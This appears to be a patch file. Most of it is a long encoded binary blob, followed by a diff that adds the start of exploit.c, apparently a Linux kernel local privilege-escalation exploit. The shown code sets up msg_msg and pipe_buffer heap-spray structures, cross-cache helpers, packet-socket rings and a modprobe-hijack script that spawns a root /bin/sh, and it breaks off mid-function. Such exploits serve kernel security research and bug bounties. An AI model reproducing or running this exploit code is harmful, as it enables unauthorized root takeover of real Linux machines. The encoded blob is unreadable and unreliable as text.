zjX3HP->ZKtaQYQ3vz8hm%#nRoiqGibJ}xk<>~ogz$(!7s2mho8ILG@qH{{^cZvQ69 zTSY$+-4FZ`;;7HmCb#FIz0Yp&aT@RI%cEkgJck~gGrddvr~15}pHsPy2_J6rk#gru zfAAaOnJ$;l{%>&nMc|x&T|o{+a|-&`HpV@r~bEVzs-K4|B>*~4c;z@-9En*9_R61 zB#w67b56$Sc6IV(%Wmf%?>9RV3byl%ZIYIAef)|%nN51|X`k=<{A)cp7&z@fe6H|F z@y}f5^ut^E3;(y?jKR$PP6L9Kzd@k~n;@_&@r}I*ht&+O*(mq?x~fpa`|M0uFA1OI5>SGVw~k7>kh}=QiMGhm{|Az2teP=-YJ<-c`aM0?zs9jk;%MYvI2lJ^J_i8W*#L|DN>lw`WG@ zO8zZA!!Ms`l+P{l7q;qgJ{jec`^9HAag2-MH?1_}pOXLHz{!6q^5+i)&hv?j^}fiH zRiuafN3ZhvLgGwvz*+xWqWV{equdd#--UKvEWB0cxWhd1Vd0}%_t{V7-y(eKvgL++ zQsd~0!jtcKzigBOeFr%AvD_g)Kh*yRq91wD>BIh+UlB+Br%rVKA+Fp4IG?0O#WhuoX=;PdRM8Kdl!o*XPbE!uA!?94LY)Q3^sbLgex_=e~+pL3)pKK;Vu z^Yw$kE&h$pb6q0(cG?3@)Zs!yGA=j$h5uJ;<&R2xS#U1QOG_W6|PCoa#} z-@#7aBRu}yhwrOC@jlg`2v2msAKVQ4JR`hi)++mZmL{qfgpWu0;o0k4p7HM{>@7UL zw|p*elc&~$!Z^wRpM~F_eb47luyTX`9Io*`9IYE3RdqgXI>#6CbtjPz#>?^1yq^Vb z^BOM@z~_1U7sqFaqkr4x`}loG`m=u?{GlhYzi~17V;*dY_5prKd?urK=Tj=TEjmB= zdGbL$pZlfT&zY*vM`)K=pXlC(2gN6e_Io@oyk&dW|FD1KSHdTM;rM&R|CyZgkK@xn z2Kx8A928b2$$FPtM*B}L5ueuzpS;NFXUXm@5I&{z1zviREGLe3J#lizINT@tw}`&& zRnDhd@?R%>ME5ua{T~*d4>zaz6j@_a$%#_`1#aLlN;le~Bb zpJzqC6L4Esit=x76#ahCfWJAMoCSQ>WXE*h z`Ap&Chr68PdqmfVa+NO%_T;U?7lnDT$nM=aBJ;zm-uvaue874D?VQq9{(QJw}i*PtN3H# z}-dq~*mw-fvtH|6$!T47IV(mE;e-+Ft&Wnwxwy&|lRtY^mFvB&Y`RaCyBlz%4?l2 z`eCix{zZKHg_revn!%skC_ZC~b3?gTk{A3JDqkK;E z_lf^?(YnUB1OK-#G0N>l|8wzg(Yps@yZhXS~Dh%u3C(eZ*;J zw0~fZ=&Qn8k90XaDgD0-Vl=-fI$!yh(^dcIe#^H9KFht_--*u$fm03}CI2w5eVp`^ zgY0da>T{p?#QXUl7Jd9Xl0OuE$N4^fcaz~ba?sm5Ih8Tat>XVz(YML3_Fltp`Cj1k zZC`XgTebKLdkP=^-f{yD5dXQvQUBy7=kV^WoxVNL%YS&2%3Uw|cz@SBM4#v$22A(% z`H1lN_n~eE&iqfC=z=`&6aV;}{)G5sbk6Pwz4uJuzmwbHTcue45){8~-d!q^ zkM8XWa(Eqa$e~02^QXoC&7#k&bGaQY{>y|<9OU?H>F1fi&A&R_$8VeHi{js^^@Ux; ze;7FD%{ZTbMWBypvtRo>?1-XZ);!1uv?F%{YE$HXVTSMzto zA&2;U_jl!&#`{$NCO$1Ux*S5gUX3`5e13X%#%kiTYLe^%obnkx+Uwb;dhSnpw(D!o zXDjvB5yInmtq6O?aUI*?RiYnP9Q_aV%jv==G~V}Axi#P%*R7F#yO{Lg-yWR@xl(+F z6-WGCd_HA-woO{2eTH8ZpNWHfJib%(kBd*+doqTcr1m}|`toHiu^`XCi~q3lA(xBK zu8_akw@9D2uc`h~UTzoSkaK)*(*B}9_zbVl398S0;Pju{WS@6Zxf$_kd4rF;a6WXc z(c?a=NS>XdZyomj-AQ(J5hfbyf4r}Li1d(uywCFz@tIP*aK7sELE$YYdVS^zze#x8 z)84M_gs;nax$*k)?J9Tba;Fb@lKX(u|9MI4jKN<0Nc`h-2Tux*&lgV#Z~M9T@3xY| z7QxORyVPn}*x4)EB0Qt`;x(%On}IX$k#ul*FKyDD9j zd|iAdKGCfIKNKFH>wil4uzp8i7x90AIQ3ll#{GnEiNKk7d|s(V_?UhVVi)QE0^y^V zyWXxBzC!rq&MyBDx1K7zb(7OysQ%3Z=Qw&!`vHPHhYiO*w8*cxBJkI`)t6N6Cxnlb zGS;GS&(b{szhQ~tXQ{mt#5sud&K*Nb_YG{8Rs$H1f1uRj*rfn9!q-Ezx;F8tA|wXYT=2_ zZEY0Z7wBuN49Q9kL&8UY?)??~`F8^6Jhk|2pQplj&p_>Iuj2gVRpK+Iaq(BpJ7dNN z{(N*E`K!dy;xXOx7RK*G2fF;nR{8h}_Ud8shkV+Ho8|nt%5BlQ^IWy}8PUh_=9K8i z^gEs*ZvBtwN49YL`MDjO(f$x1+Z(TI%mGgM$M^gk2b_AI`LT}+@0}#+Bt7aMpCc<9 zJ@%JI^TkEtKfKuc>k#$V6{2queURJ7L?54zyIuHrbbsmRfm8oSqkXpbihg91%l}&{ z_dCK{4s}2IpOW+c5=Xn9JSSsFkmqm7A9(!xwl9f3KA$yX6Xk}yZe#~u1DtYh(R>Gs zW}jB#;2-Y~(v)}J=>$-EnNr0OM4r~ zv%88u{vF9V#Gwxzhq-!bJe2YtY)Z)Zm1XoKOiF<_hR z-aEu6{=Mm|h*SR2eH3?ye(DLg0Jo?<_X!`vD_FasL7I)c@Gd>?yk%?{j-m^_hr%uj(~#@qPI5{T{R4>gS<$S3N?%9|)ZN z65r=@r10Th*)g?iDVk&POSGQeaklX2+|wHJft+tyl(CXOtMYT=KQih3S7_c@CpC?zkA6?y@BFXb!ubyxf9!vY{D=36zAV35ZhrFkq0T@4 z9m$W2K68Z6r}wJE*z`?Bf^1);>F2Fp`y42|ZH~{g+e@Cu2#@bM zKR)o${J4$yoGyIq9M|XI-}Va6Jm>WZ`MpiTeG6u*RxOcdDQseJoUwH zm+lb$w8~9ZyPc`Yj{P4D1^I6lKVl)<M{-!{Pr+Pez3w zDn3*C{l1qJkAD*tX1Vb`nNvmI_Iuac=fvl+`J$iY?R`;r(p9O=n_Eh<*<5EKTg&w( zxoS0EsR7DYD%DzLZX2H&mhH(E`m>$6YJP54slPkvFXg%is=Zw~Qumj-)|0l_pCz8{ zE)C=gMJLR4mW*Q+{PRhn)YH{p0uz+F>Xd9TKa>?`iDI%*ZL}XXlJR|W$$Jifov6>oOJc)a}^`VLKwA5sUKVd z86Or0%Xl)-St#bavz5|d4PUYwN`>xntH-Yr&Zt#$?f$+vaZezB)fPNXs_hZ$W4EQ};D`iWa>+)T-KscQ`9GYai`=MuL(Pn!prGacu zcVpF({Kj&w2n(?Zd<$J!7@0z`7yQ?wxapW4o(e@3w{=s~*Ipn1Ijrp#@nktnol_8^MK=mBT4whje^UdYQSToPA zo*X1s>aFAkQnn3P%DD#wRs*o_DOK382uev!L>$X50vni+6-8CW5HUGHh$)4?m_5zJ zoL!SERP!q~cIC^pLaCT-@5B5D`}W_SHZxdRs&wVMMIXIB&9mm0kIUDNThk1kx;eBw z-#OTOe5thl73$T@U`@U{IG{N^ZHHmmQYE`44;vXKyYP4^w69jl!DyPA)-`ZWPj`M! zcYz}U-!LZy4dUR;;dFy{N_T0f*q6r?gkI zt$yK)!?1Rog{t_ctIr8GhnzHY(JD-)7;Ei)-IZk+^PT9iAnoo-wkwB;JPWyZ)1p`B z&WoQV)xpjx%-w%s=jEwRJ{Ke?bf8eo)k>AQ3zC6cWqrN^L)k>*uQ`2o0CrKxqO8)lJ0duA}}*cE$18 zm1~xqv?9B7#c`|PKqhb*)sSp$APaxD2p!DAE6(=zmpXI(*=~ren#~PvOsHo4dCWNI zlxZp84i*d9T&0rRgr?Rio5G;tbe3pRrkk#@X0x0by~cMs%dBcwKPC}4>%I85QY+?b zP^1w^ulHe^#(=o6FIU=FC}PU9KXU`!Nf&1oRtu%_70yo;j77rq z`{~kg{0zWiqW212u(XY?Ov7W>%tEoJ)I>q&5EGYqpF^cevj^c1+vaE27hzaJ#SCp? zqNyg=RV!?u>8kru*3KG)QA$wt8r_io53H(90tf+Xd0-5@_W6w^9WAd@EX`!(OFN`4;Lav;h zFdSVvoeWGCn{R;SgGI;BH#Aj9DNHi9&AXw;9m%2Q*-#_-CD``EBzgOcci$ z1|zAVN9Ij~wFNBMw8<0!|3~RH{LjSQkI~BS=Iw0SRGE)Iy7N6wQJF{T-cqgPsD1O^ zoWr8owHtC3{EMNP3~)9AX8-pos5VfZ3-e!t1j-0otv~R!Z&MY{HvUGRc5TdMQHPDN z2M{4fM~N{9j9acpu8EP{jERI+t#ubli0<>y^$1?jGu1*b#f1T!KB){*Fz9bnAgb` zSP)rLODR@Jj6-YMx8@S%eB&@$%5l(t$f3dXlOj?|RH_)RKk|g+2HRihY0vssk<6r9N0K!S|N#|I&x0ortuAnV< zSreeL{yi-}eSlORXi~h=g#d;X^_iQZ2|%4|U`lmoh0^!&2mV8SD!Cy(Fj;4_>0b@S z^i_(3^)l?QP(Ww3QY#I0amvKM1D$Y#ElY_JFw~Xc-+|5qs1sR5Ltrx}S3}~3i7Nl% z_K8r|BL&D4GaGGN*ANq*_>y{3=nW4Nfy2k`8ico;e#ur6WN;yl(k6@ue}$iLSR+~kYhV7n2|5kY!9!RZ8Z6%%pYwGD>*6wZnx z01Oklf)hp-Fm{M!^`M#r3irv&?}TLVyaCXo9eyg0BGe-z@Y5?&m8pCJW`aF@wpgD~_E*7K`* zmFOxiXJwtGWwZ6w-|;^Xj3^hyl1ybnmKy}-8kr7YIlX#}S9PL6sEU(I} zrhi*3gfxKj5LGI}YJq70{5h?uo{xqM0@yJ_n(=1py~>FPN+v|E%^Q772xU0Gu|@Rh-#n<{D5fM4xy_ zt7hs|g=X49g9WS5V0e%+i>?x-2!Z_NSRiV1?=lCF?3^r zjG56=jBmb}QZ=zf_MX|E0VHWqnx((9wM}IvZJPehu3na1w)U*{71Q7+pLWuUHLI3Q z^JML+lcsxN*(s}6FIhX?lao$4dBxf#YtEX6*GVf*J$1=(D^8u}QTvki6>Fx!Pex{H z8hFX_ltX|Q6JnAsbvy)aVIrX$PD^6N*^4e*hu38R!)yh@NmT)E21kMyD z(=V7O@QqzS7Y<+HSC{dXNlAP)2y||{`Mif_J6SfTiyeX2J?KZK-WHXpyUhsW>=c3J zZ=%58eD29AgkneumFPlX!o*AiA2^G2G&BWf6DaJOt>8dgoa(e; z*$J8t7nq65WZfW~2G4sSS6W_}CBU@|O!NJ4vGV0ML5JI4fnbsSwV+cEk*Edff}H+5 z)c%~WzYep%=IO7+N*`Db!du?hLMtCK8QNSZn65aFQPh~gIeS^RHvYkmDwGhzu|qoh zbH(-5FU5!WTe4q#FQg6(pB~&_f(oEEnozh$j#9Pz9;1B$jT3LQ_(Y;-) zsiR?$!yCNjV%;$W6-JLdZ+?@n2mdZG@~!$a}dfR;plWmg+1v)~`mq$N zTc;{a5P}S_g=H@FGYQMO;afF-0fGg6L-2q=p)Py=0k5ObQ-CMMc^^@BC!z!5vhU>_ zqA~{GF!wM%l{ECLM}FC?LY<(x&@hM#4E>2s^%grKI6$x31OMvdI**KR7gVzcl>Anu zACe$rOXsVaUDbJP;(3aQpwTpH{vYTE4U8kDU9Gq zrcW80FtrcfOwxy46=(uT8W5l6I5XlwPl>DISVpN@P=!p0P@hkc{wc$D^}<~-+9KQ@ zt|_IsttY(FL*ce?F8G7FOBfZ~?A6`FZ8u18SE>ku zyoX4m2I7TEt-srR5UdGVe#Sbcr>hu(ElaVHF~1q=XB?-HRQ@AL~0J>2?Tg_tfAF-!e;3W(_Q;s zZ?Tu?TFopz?K4J^FJrDac{$SQNY`UAl)`{-L`SJVmo1c$qNYj4aw9mV%aR1@1mTqi zk^r$9O>dPe`4~HH^(jl2tj?aYa^_ZLO_rrn4G`5gOCA0fstk8#G_H&J`ma*=kRLgLvcOLy_e~bi{2# z#Vi5|gyZOlhOD(s-c0sjFC}xJuv}(8uz=3un8876C%0kaqIvVdB)fqg5W;#`EZ@au z{+^kCu1d)I_>wy)(itsew1STdg~p`U4`T>Fm1Y&inCmtaqG#V7C^~Bw_-UhDuc;E! zX3%oT3P~7RFC=KFayFCj3vkU?#@TYo7{OsL!AdRQ+e0|oL)M#w$6feQ#y3W zel~TWL@iOE>7m|Kt}6TusCyp-k4ofvh#~&x)X0hjZ=)P67(}g|ILGB{tJ+s_#Ue!Y z7CRt+HIN;w^(=ZY3w!A2t{nCWLI9wr@0aeJ4drl`oUi<2hT_tzmYML}EfBs)cc|La>rZ2ok!<4r zw`|pxp1LtZFp-3)q_@{pZGdT3{xdMxpDo%>9A+h@G9~lBxV**T$c&g}!8UTy)zq|H za7*C3IDCM>5!B2t^*~T%z8e&O7 zZ7!t6DpWF&9RH3`6%(sx4s*-|1vaI zJ1@Z!W&m3qs>uFA7qnFgZG&+@aG|v_mmV!L$2C-RL#L|8kV#hBrW}Me>=n<5)vZLX z+EpktnhDAdYt&gTw;*If+MEs{b_dgQCIeH^bkWVmOE=P7=C#qkvo6DkfPS%dV2A4A z8{WfOI&)cF8z4>#xB$D|vutRkfQSc%&sKOFrkZMgfjGfc;)rHG7uvucz&B*9eO9fp z7;9koKi#Ba)y-j7b$(+z>q`u>h;Gf(QLfYk*mt3F=}I;SP}&!1uAqUj%+#8AFCwbc zFmk7xAK{+W`VU>$U{7r?5?0cvR6YHgOd z%mblfcmctQXSy4PzJ$#!`4&wz%&I-&$3{0>1msGJ@PH*$ZcdnuWZsH8xnK zx_Jbyr5b#bKwwQ9x-AU9^uU6}EN+jjWAGyMfZ?<4KH=6MKpg5kK+%v?fg{!rQ;q>_ z(}9P%!8L_sLRuI}SS4GPATZ|m zg_|2+$*{E?*22>tzA7yjjfrqfcX*1k@5nJ{`(P-Fp+Rxjlk5=%FIVsodLDp1Ln zX?v@ks6KXbGq8)KlAx*4)H%&6F!o(sw2lzJz~c}kr|Yj)}`vHjo~EV%5P zW>e+=Y@}OX^%Z*ikTOTX*xv7FD)6!ex;2jKX206~02u#De{zBCD2E`BC*R28v`d0E z!FI4=>|m@FkpSdAH;yr=^gwRCEjhq8W2o{NgXOwlJ+!w?u@AX;zAV_lrq1)h>dR`j zaLJ0o&LObGDw$ac6y_Esm^E(d1lu8G?%aIAvw~{6XO$jYvhLvarnHB-p{&9D25ZT= z+`Z(KGWBF}M#EeZ=r@)Ktl?%K_#IUUGfsM>%uw_?`EkZ#CBiO)h5^C>WC>=CAeTbj zcH=c#EG9~@N?z7+5TH)jI{9I<&HiqXi6gAa016-U{0lY!IvuY*2&wsoTY6E0=(f`#f#khNcz_IG>rd zYZ74y4$OP&ul5ysr2J-R(paCCj7?GWzxJeMS>;@yHzq)z{ZSN+l$=!j6(TBZ!8Frb zpZG#2g0;tI!QD+a6;TF*MOr_X8NU4X2L>tziCj1gb;xnGhqe2ARBbxG;K)`B-35tB%dsO7{%HfZSqz^ z7BdU>5n_>dBNy>lmjLI^- zXV{Z8-TY+&vN4aUG#D2c85{{M!mI@^)pGls=D;@O`$MFOf!Ra%6h&(?$66-p7@OL( zcLuwv7_78putdxqr?DfIt9gJ~73Be=5Bn=xt>CV6StRBUQU8!XglKFJUhs;rL2Ea7V$>a8#&+o%QP7&Elm?!&ZX8aU zwd#2+ghSj3fO)9^gMj_&!P`i;N?_f|e6U&xo<6-s41ob#F~%Iu{R~hKGcT!OrA0-7 zNJ5!>14r9LqSPi1JC>Qp&CYe zJCAv~0qH`oS{l>Zjts-Xq$7XM((~LeTd?_tM|`M(U>Vj9e28$^D?`dLtE&}2MwL=6 zRwAdB*2Vm-)bR$4uA(he*cq>W)%uc;n2{H%!oJ zK7&(BNJQHJWvfCuAaZw->?hWyvzgvs%O>=20}t`>xxdXb&`fK zqg{vEdp3ZM)pEe_K5=DsoA-<&>QSXW|C zW;A4~Q6a41bA7<1r&Sj7`BUAkdm@c~gO)!ULUYqIn+8xH&Ru1$sB+VU4P=jN(hwDc z>w>TsCJaI9O}cxUOASrdsW8xqdm&&ep+Vh+4OoPB-{u07>jwG|=o2inb9zQl$bMos zLnUmL)SH-^X;#s^MEBGn2}a`~@TV*rC+6lAJ6Z$SbY)B81pv6Byrzdq9_Xtt2U&`? zaa`f95Xxgc1GHK8SeE4 zw@_G^KhpU$%-Ec3DUxbmwFXlG0R`c(`5b7r4Cf}qc0}8Ff#gsL?)BGRn$(ePP@e@B z!G!E7ShEogCe^YwJSX9<8IRbZyJ&t;bD!A4Aq~GCNZr?ir4b%L&`J|LOwjvmFK?4J z5}2vGuh65`#qL~%cOkIX@h6%m3YZN!6`0>_e^z+6Y1~4XUC14v!%>ga!_q_$x`c+n z2&@F~iTcyF^zZ@!m!OXqt)W_V%kZDP_K*ddgJcbBQ_mG5n^=$FDNXE9vB@~gB{o#8 z3sR=r;CmBTg*36IIXGR`voAOaQAx17)uIh^0_cYN;W`^1=96Opaa}ALB6Zh~isY_e zu$A!}s7dc2_m|l&W{Z9(NLx*pM^7eb_Tms|r16P~Mw0R10Rw>BP3l%Gw9U5l$=hh2 zNqmwC;fPc%_$8RD>k%8?LmzOKt)B=s*>b4xJdjk7s#HJC&k=()Zk)`gTZy(|reiXY zgVs;ArwbY=Ja|>Iqp%>p*F*-%3~efHGcxG~PPR}BS)ud>&mGYN3xNI6^(L!yknz%mv~RNP}vfUK5b6c2x2g4B|o(kf4PA+=c$d zi?TP8>|Ff6Tbk+*aD@vk|jMC`{nss;Gz~pBmA*|Av!_^=kiLoK2 z)o??G+fuVP9Q&5;l)iYf2IXwI%vF`|%ErV?V}M+O9GHLx{#H7qEof$#+F=#Wyrl$&i`r~K<) zPW}9g71z+|sFN+(^v`Q6_V|E>c5~o|c?aH?Zf&zjFV$gGJ?KH&vsy$zb+IN-Wdacu zu)a)Uu7jtrZ7%VZ)(|$L%6OM26e!$Wu>>o{TuEquUEfhjbh&NdEhD{B9OR!67DuoP zL1BWujDe1sofC)cPh)-EiHp`(vEMrF5X{b4d&b{rrP9OGP6L9r zlXlv2&^5)8>XERwvEG$vBC^HlE{w1#ykQXgNC*MK5N_+i5eJkPNM&Ep3D|(htyCx* zyF<(YfN2BevkEk8Dx1t8hDaJ~Hb^3)RBZg93k-k4W__e| z;I3eq+(gx1voHsOF~=S{iMbUoS*d1udvMvF8xc>!%BN}AVTcKSIeI2=ywv4c|n5JQxk0@0d~q|-Q6Dz{~805)cQ z$%4KTZ#T_iP}g{<%JY2dm%ogS&$!c6yWt8~ zj?RW885_tUmoCOa&iE?`gQlhKW>_K9jZC{xf{n-;M(P z#hx9e1=B#r595b^f;{k_3AtfAC8p5&{j?a79)!X4Hf)my?5-kZ>o;$JDTH~U>@FM! znn}u!dx`NCCD~Scyc*1XFWgH!;n<9KjR1BdZTln8Yks^KMk&2kNpCVo1fed#pETbL zc&tUHXlXX1)3ThHpX#9_dNr&LnHXIT&H9bX_6>FA%9zTtunCP8ft>PPeWh$Q&Cb}s z;l`eHDIuiaxLX*o4wiA~DMN8Vw{0IqT~e3cqEG;7PTE3D3dt>yWy0W>)dRrPqp)Oe zQ~%MCfFw{h7%)V$Sy02CrjK!sM?CJL`Ti4Z%=Pf2*~?20F+;o2pWHj$wAnAUgggXY zPYTK-ZN4lMRq|MNQz6fbd&n>~t+p|2D2Le%>rZ}@Dl`Q`3Efk$T{_quAGNF@szBeN zzi?|M5BoV8)r@9O3IhsW-skGV3wCs7RPi$&)3TsUF62X<0ZcbmJ=0+RsSaLv0E#kE zfpDt@{tEFA?QEkB2z^sGlB|rMUk$N5q?0DYd^I@;+s}`OQIs~X?!DSba3e^n)Fw|m zi(%=eYZkw9GQ6H!&N$i$?-wn@eZsupj9X#r#@*ZRQ>X<5KBCzv;T8l7CQY!# zB29s(vk;lVf3r&|T??f^r}9*W=c0MC0Q9&}7qtyWKcuVNgURxM4*Se5X#z17%fDU3mVGx+wSCSxquU2at_idEp;kVBkA>? zCcx*B7rgJ;+vZ3nn5{uO!%ndxJ&)L{w~y%{1bujq4OC{p9gNu#spnNp?Ut#1UIf6yPO^PPjfd2J0 zR>|6edB+-qSqMXzcUXd>FA4fhv>1k{324&=ov^zLSl9+Ml+T$;q%I(sNOzFzOpQqD zvDDK)esCa-v7)v#7=Dv8lm=NZRFP#P>I{CLUn3U+<_0EpgDkJu?5hte^nf4I@#)93 z$eedGF?d?vjnF)W@I~H*2(Q-GyGa^_ap;RE(w4Ez*YTY3QG`2?ZWm`>seoefjvM2 z>?En_t4=|1KRzm5ceBIR*x;s_tDM>uce<#{*39}|6-K-1){69bgMEW2ux8DLPR@t! z(O?kSMPl9v?F8b0;%ZSy&&X%PJZ1?h$T0}HArHV&h8E#f9}^0dd}DbKhiMnY09$Aa zon{xH1=+!Ly~f{8S9ie=c^5B|^?(BUDFruVHh9o5&SbI>)xiq3BBoZNzL8@oc!fnw zOffvB3Zux0&uXAk2QW^YqByl^)~WBYUW*M0Yx4a|F;MF=&?2lXkad=)=z*kJW9v2K zK9L6l^LnJ7?&)9^=rg~#;sv(HEXxn zpgO2%ecei%dH`#=n%^i|bDgaNQCFO#HcK27LEC%K6Cr^jKZy+j2dvGcnJ7;`JCiD= z+RhRwj5C)-@ZGYH4Wkrnt?wJ=04~I(sa1?W$}buy3}bw>poJRS9-woqF=N$(1x`#N zT#r>JuY?=BqR8^GP_nXqq68vBCLs$)9xcWnP4%gdYngRd?xux5^m#qVumKn*UA)tL za)u+5>dRW9Wti6*k3*xKRXeoD;T*gP6P{+?a8W>TT@b@?lOFFh;XR3Ft<2m~-Rhy< z=Ki=`N_sBMyGK10(`>cEmM~vK@6_sfI^OCx4Y2|UPc3^Lc10>t7pAT*~R2 z7td3t!*m=#gLx@pZHNZRf?P@6 z+Xp9$yv(z;2Gb@4S3lJ}-1rM-7-T#RXjiwT7j&Zxs~x9^)u$|5vU-K-w0X+u+-{Pk z#Na80v&m@3AQPH)YS4C^rMaPCM;d-lCCTQs(Jt(%BfHdOP3O^}!_A9OB<5Bi5`S?1 zT;JJa7(Y5-ZHcD(o()f^Qv=h}MWpvl%&DZbQzgedUpV)Piny`zLreHm=M%v!U4uoa zXoOE#3)3w`W|b~xW_haHlQh#NmvpL_`_Pc|^l048LbzK4Cp&bp z5V+YR&Rw=iDYyl}yWtisTalBzkejx-(MKfm4xWad#!4Gfu5?DD7+*bJF+}Y!)O!LO~Vaytm+<2J)_>7QujoU+X6F?m>y6szj+>C zOk8zed+jNwwc9xY5?*P^o>M-{OmlD$uczBQ+ zipDsr+J#TFl|kR3ruc=!)ElRQ%i7Z*0-6}b;v`2AZX_&U$S$;t zv`macm=@tvL7+`5S5%7SXUxSi^;|Y9{y86ToYtfRuP@kwf^)9r9n4L$85jebqq{zb z)~{M+SiwXiJrMI8Xm)~@RdKtL=`FVLn)BN53~N8uIkDxp+z{xjZ|QVenkh_O&CY;k zBba_Hmo!g_sc;&i#m#@N6Xi6?-8}W!H%{FGP_zFVQ=~BIP-^X*!;8ycvg}@6(8|&w zR73h8-3Ut6*X{r-yMByMI%C_ot#?s13^jyro?fP5f;M*fX+3m|ZyXLANWJ}Tn`uJp z*9SBl-Q_V|kc6YlV8Rtj92Aixyf$?O^x(X{!bo+1Rc~@1R99@VQ6^ctQl)JmuNx2b z7;K=q8lD+pg-lK01wwc{(1CrjjOslAvqeAK{!V9Ov$zCtAxPb~q#1?SJSWi9wSEOb zs+#<*JGEJ(4)p|piHH)BLyf=e8X5~jr#aM%Ac~h%QIU-VC5B1ad$S(K2a6h<4}T7o z3A0oBf9=Nh5#U?qQro2rE*$bQ_7kxMK2FjN)I^wgM;q+eG5s?;HOqj#n?C}>1s<;_ zXj6GKP6*bav5Bq^Mc>@duo&|l6f)kIAlX^PbOx4asoN=*}(^sTIgB01} zneDLQmKHn;b_MspA{?~6b;13_Q*S~ze`3*>=bK;)*cwx@G%pwI5k$eoDSK#BemEiX z-zKzh0tcmP`l~B@G&amAgiV5&>v=g|*vgyQIQ$lqLcn@-NG0aX!BidOz!L;k`CNZ5 zbD|iD7S@0zRv`G5>TX-m@rB>yRI3{f!pQ_UAy8xaBJKdj~P{sT8=DRqAcm z`{NJB5B1-fq7dAt)X`I04K(EqV~HLg$S{a`=clnH4{*1`2A&Xr3UN2g2K;1I1;4iH zw_GSPz{`qSsqdT#QYBPA)-{XMO(?YCWJx-1LqHcU$ALEnpPEm8}%oZB7J2c#L>K7cRVUsH+yb6!}H#GGu+=?{5(ZuLG zy-=_4JBalZQ<~feRyZV;>oZT?dC_I?C>|*=-b3V$K4xRf*VTg-$WA}qg*t{}VIH_I zqH*IC=#&=!|JJS^w2B}IuTSxhs0sKl$`wK)nj?i^k>*ShUPQ?&1Qj0Sh4>RNkOu|? ze=s0|c7ZfD!Yk9+Sy`k=ky61%Y@P~|&PuTKo0)I!_SV>WaJRd&^X=^I?atoq&F;#a z%F3+E&G~e9UaZfI?+Uylv2g*kO@%?G+@w%+-s0Wcv-Tg@yGCg}cljT2n=Hu+%BbO5 z(`mwpyOh6|Y752RD!3gscPJQi?lhOM+Qs1xD3S8z-}u@0M;2W6VB|S+!7Pm8$grQh zr0cf}7t~axAuAYLzQl-vO95NTqOA0l)83jrZ~u66h{nY@>|Uw&a(o(VIh0xqO+iOa zP~=PcY*u+KOMA75{tA;RCZ-@@zd~51`&3*a11RKv_pA-mC z1z*}hVG$>E+_I!TqDnK&NEL`AXe{~JP*vA>@O*ZmJ1>@pvRs9JvS_C3v&$etO+ck7 zAVF*l#^OOht0@hoO!*=I(K}t;sMPeN4{xEmip84uXUTpB!YhAF5bc9VG7UvHB;X(z z@=d!Ij!J|aIv)BKE;?a#F`LVLy2mt(!E-z#GX~E~k}l{widtr*%M(+hOSAU^zI+yD zb4;}kxhmzH)8O?X$VZ=)3})izGR6$n&R+M>&EdxQUZVgdgdXu{HB?=8RbKU7 z#x=%oGzz6}5T9wNx}^ANL(Hze0S|8R@3@_n;pXJmXV*%I{%!H-S48;a^k!Ysz;%CSSH6 zr+-3(l!?pl5#J;J6+fco=x0`Sa@#-y*&*3Mx9X$S>Xt3BLGl@*SV@r}7Kte=JGY@#hmd z*!6IC3ZA5hH2w+m-#khHom78II<7ln&dpa=e)FG=dIrup6q4uP`;UE~d)dYKu{mj# cA + * + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "rtnetlink.h" +#include "bpf.h" +#include "setup.h" +#include "cls.h" +#include "log.h" + +#define SPRAY 512 +#define SKBUF_SPRAY 128 +#define PIPE_SPRAY SKBUF_SPRAY + 32 + +#define SPRAY_QDISC 0x20000 + +#define MASK 0xfffffffff0000000 +#define PAGE_SIZE 4096 +#define PAGE_SHIFT 12 +#define PHYSICAL_ALIGN 0x200000 + +#define MODPROBE_SCRIPT "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0/proc/%u/fd/%u 2>&1\n" + +#define LOCALHOST 0x200007f + +/* msg_msg helpers */ +#include +#include + +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 + +typedef struct +{ + long mtype; + char mtext[0]; +} msg_t; + +struct list_head +{ + struct list_head *next, *prev; +}; + +struct msg_msg +{ + struct list_head m_list; + long m_type; + size_t m_ts; /* message text size */ + uint64_t next; + uint64_t security; + uint8_t text[0]; +}; + +/* pipe_buffer helpers */ +struct pipe_buffer +{ + uint64_t page; + uint32_t offset; + uint32_t len; + uint64_t ops; + uint32_t flags; + uint32_t pad; + uint64_t private; +}; + +/* cross-cache helpers */ +#include + +void packet_socket_rx_ring_init(int s, unsigned int block_size, + unsigned int frame_size, unsigned int block_nr, + unsigned int sizeof_priv, unsigned int timeout) +{ + int v = TPACKET_V3; + int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); + if (rv < 0) + { + errout("setsockopt(PACKET_VERSION)"); + exit(EXIT_FAILURE); + } + + struct tpacket_req3 req; + memset(&req, 0, sizeof(req)); + req.tp_block_size = block_size; + req.tp_frame_size = frame_size; + req.tp_block_nr = block_nr; + req.tp_frame_nr = (block_size * block_nr) / frame_size; + req.tp_retire_blk_tov = timeout; + req.tp_sizeof_priv = sizeof_priv; + req.tp_feature_req_word = 0; + + rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); + if (rv < 0) + { + errout("setsockopt(PACKET_RX_RING)"); + exit(EXIT_FAILURE); + } +} + +int packet_socket_setup(unsigned int block_size, unsigned int frame_size, + unsigned int block_nr, unsigned int sizeof_priv, int timeout) +{ + int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (s < 0) + { + errout("socket(AF_PACKET)"); + exit(EXIT_FAILURE); + } + + packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, + sizeof_priv, timeout); + + struct sockaddr_ll sa; + memset(&sa, 0, sizeof(sa)); + sa.sll_family = PF_PACKET; + sa.sll_protocol = htons(ETH_P_ALL); + sa.sll_ifindex = if_nametoindex("lo"); + sa.sll_hatype = 0; + sa.sll_pkttype = 0; + sa.sll_halen = 0; + + int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); + if (rv < 0) + { + errout("bind(AF_PACKET)"); + exit(EXIT_FAILURE); + } + + return s; +} + +void packet_socket_send(int s, char *buffer, int size) +{ + struct sockaddr_ll sa; + memset(&sa, 0, sizeof(sa)); + sa.sll_ifindex = if_nametoindex("lo"); + sa.sll_halen = ETH_ALEN; + + if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, + sizeof(sa)) < 0) + 